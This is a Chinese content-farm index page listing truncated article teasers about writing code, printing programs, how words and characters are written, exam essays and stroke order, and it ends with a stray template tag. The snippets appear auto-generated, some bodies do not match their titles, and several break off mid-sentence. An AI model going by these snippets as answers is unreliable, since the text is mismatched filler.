本文主要为您介绍程序员怎么写代码,内容包括程序员一天到晚就是写代码吗,优秀Java程序员都是怎样写代码的,程序员如何专注地写代码。1.编码之前想一想用10分钟,20分钟甚至30分钟的时间来想想你需要什么,想想什么样的设计模式适合你将要编码的

知识

打印程序怎么写

阅读(166)

本文主要为您介绍打印程序怎么写,内容包括c语言中打印程序怎么写,如何写一个程序打印出程序本身的代码,怎么打印信封啊,程序怎么写。if是条件语句,当满足该条件是,则执行该条件语句下的语句或语句体,如果是语句体的话,记得要用“ { }”括起来,fo

知识

即是怎么写的

阅读(170)

本文主要为您介绍即是怎么写的,内容包括一即是全,全即是一.日语怎么写,篆体的源字怎么写,反复句即是怎麽求例子。词 目 比比皆是 发 音 bǐ bǐ jiē shì 释 义 比比:一个挨一个。到处都是,形容极其常见。 英 文 ubiquitous;

知识

是怎么写考试的事怎么写

阅读(186)

本文主要为您介绍是怎么写考试的事怎么写,内容包括考试的事怎么写,作文一次考试怎么写,有关考试的作文怎么写。自从我背上书包,成为一名学生后,我经历过无数次考试,它们都如过眼云烟,但是那次三年级的一次单元考试,却使我久久不能忘记。考试前,老

知识

啊的笔顺是怎么写的

阅读(203)

本文主要为您介绍啊的笔顺是怎么写的,内容包括啊的笔顺怎么写,啊啊啊的笔顺怎么写,啊啊啊的笔顺怎么写。笔顺:

[/e:loop]